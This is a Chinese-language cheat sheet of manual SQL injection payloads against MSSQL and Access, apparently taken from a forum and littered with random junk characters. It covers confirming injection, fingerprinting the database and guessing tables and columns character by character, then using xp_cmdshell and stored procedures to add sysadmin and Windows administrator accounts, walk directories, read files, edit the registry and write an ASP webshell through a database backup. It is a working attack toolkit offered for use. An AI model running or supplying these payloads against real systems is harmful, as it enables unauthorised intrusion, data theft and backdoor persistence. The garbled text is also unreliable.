手工脚本注入
8 p/ z7 h$ e9 @8 F8 U1.判断是否有注入;and 1=1 ;and 1=2
3 Q- A, L* [6 c; D1 z+ G9 Y. Z7 A- {2 ]
2.初步判断是否是mssql ;and user>0 $ b5 Y$ _) ?* Z
+ W& ?0 [1 C) U3.注入参数是字符'and [查询条件] and ''='
9 h: o: ^1 L; k# n
& ?" }4 x9 N5 K5 ?9 M e1 g" H: ^3 H4.搜索时没过滤参数的'and [查询条件] and '%25'='
, y+ c$ i, u! d, [- v
# |! v$ U$ N3 L5 A* D5.判断数据库系统 " E* K P; P- N
;and (select count(*) from sysobjects)>0 mssql
& R& O3 d5 A' U- ~+ L; X;and (select count(*) from msysobjects)>0 access
' c/ r2 ^9 g7 p; o7 U1 y5 j9 g) a6 V4 N' j! Q: Y
6.猜数据库 ;and (select Count(*) from [数据库名])>0 # q) _3 s9 h* A! q& X7 l; Q& g% Y
2 K# a' B1 N i
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
: {/ c# ^" I: G7 h, s* a! K8 {+ W' ~1 A; [! x. [
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 9 f6 V8 n |$ l( r
0 l5 L$ [& L; z; v" q5 O5 s9.(1)猜字段的ascii值(access) * @& v4 B0 B5 V/ o/ L
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 1 k5 S4 A+ C7 e" L; M
`* b2 ~ W1 k6 v
(2)猜字段的ascii值(mssql)
% y: V/ W7 W2 k d A+ f3 I& z f. L;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ; Y/ Y0 \% m' V3 \
7 m+ x% I! r' q10.测试权限结构(mssql)
( c5 N+ ^/ ` k4 a5 {" Y;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ m1 K) L, ~# ~;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
, U, l; J; ~/ l;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
G. g" [( x7 X' L;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
' x2 h! z6 b2 ?" z6 D;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
# M1 \8 g' L- ^;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
4 U; O" a! N3 ]) Y# L" k7 _; M- L;and 1=(select IS_MEMBER('db_owner'));-- 0 e4 a9 M7 A) i8 O2 `
" r1 N# X! E6 Y/ j
11.添加mssql和系统的帐户 6 \- S' S( Y0 [7 y) T, |
;exec master.dbo.sp_addlogin username;-- & ~& \: ^7 ^! g5 q' z" z
" D3 A6 e3 ^ \. V/ Q& f
;exec master.dbo.sp_password null,username,password;-- 1 I' Z% m0 p5 O0 H4 l2 c
$ @; r8 b4 c" e/ c, C' ^;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 4 Q' T! w c" q* j) A
w" R1 O0 ?& g* T$ a2 ~5 `5 ?;exec master.dbo.xp_cmdshell 'net user username password
7 S% D' A+ H, V( w: P- D/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
7 b# R1 C' f0 V% u) h o4 J* O5 v0 ^3 R- s4 k, J
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6 Z: a4 y: T3 [3 z1 O, o9 g
/ N& t! t' W8 g6 A
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 @# P6 ~, r$ n ^4 x5 `& o) Y& `* [
12.(1)遍历目录 9 z5 F2 l% A* {5 L& G/ \
9 s3 d2 ] r: s( ?7 m# z0 n, w
;create table dirs(paths varchar(100), id int) ! z' y, i& X% t
;insert dirs exec master.dbo.xp_dirtree 'c:\'
( a5 {- }! s- a8 O2 w2 w;and (select top 1 paths from dirs)>0 & \+ _! h3 D+ n% _$ m
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
3 x' [. ?) n( }7 }6 q" ?$ T9 ? z2 c! C" d' o0 R
(2)遍历目录
, p4 u+ Q0 i0 s) F9 l3 f3 X9 K0 M;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
4 E. _$ d2 Y6 T5 b' w. Q5 L;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 . S/ ?# b' M0 `, Y& R
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
0 k+ r' V5 i) w;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
) \5 K, a; G' c;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4 r) W& T5 L- a+ C9 J! t
, X# z$ k2 f3 D5 M# q3 V
13.mssql中的存储过程
$ _+ h! e% W% W1 t0 u/ p, z: n8 L6 \1 L& T! l
xp_regenumvalues 注册表根键, 子键
8 s) f1 u: } U;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ( d! Z% k3 |9 Y8 l
8 B& R6 o R" [/ `6 a6 ]) y$ g0 Exp_regread 根键,子键,键值名 0 [7 C3 `3 g1 |: i1 Q
;exec xp_regread
& `8 Y$ o9 A* s% g'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
2 V3 F: N. A( V4 T" F! V" [7 C3 C' R( d9 G2 A5 n. r+ ?& t3 U
xp_regwrite 根键,子键, 值名, 值类型, 值 8 o7 r9 D3 h1 q, J
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
: B' S! L' \$ }6 j2 f. U: G;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 : T& D, y0 Q1 {# C3 [$ j
) u7 U1 i# x) O" h3 `7 Q
xp_regdeletevalue 根键,子键,值名
, M0 H" m! ~! u2 m: _
6 d* b! E3 y# Y5 rexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ; A5 I, J& Z, w& u
' T( I6 \' \6 [/ o0 t0 H* l" `
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
1 k( l3 g$ G+ {9 P, p. U7 L
# w+ h! x+ H$ S7 b' W3 G( A- t14.mssql的backup创建webshell
% \0 \/ p* E- `' B. d; V4 ruse model
% k8 b H$ z& Y5 n5 I( F; M; _# _create table cmd(str image); 6 Y+ x' B6 `" \9 U ]
insert into cmd(str) values (''); 4 J$ A$ l% M, {7 i! A
backup database model to disk='c:\l.asp';
% V! p7 a& _5 u- y! c6 F1 x, h3 b0 L
15.mssql内置函数 & u1 Q, ?( A* x* m$ q2 Q A
;and (select @@version)>0 获得Windows的版本号 . j3 c$ K6 S! ]9 v
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
1 K8 P9 P+ \1 Z9 h# \ @8 g+ H;and (select user_name())>0 爆当前系统的连接用户 N7 R, e- U5 P7 n" P% E* z4 `
;and (select db_name())>0 得到当前连接的数据库 ( e" x* b+ R( e5 U$ a% B8 n! ]
7 ]6 S8 E$ j& P3 z5 K; \16.简洁的webshell
5 h# J. Q) |5 F; b! |( s3 z; r3 _' W9 o
use model
8 S0 y, _. D0 R9 |$ \
& i0 Y) J* A. H; J% bcreate table cmd(str image); / l4 J5 g$ I8 S1 U! M; s( c
7 h1 U n% F# ]% ?; k
insert into cmd(str) values (''); , C; H% i' f/ f, c
; M/ }) s3 j( I: T" N" ^backup database model to disk='g:\wwwtest\l.asp';
, z/ q) ^! T5 i8 L4 K8 ?
% }( N6 E' E0 S( N9 h3 N- X |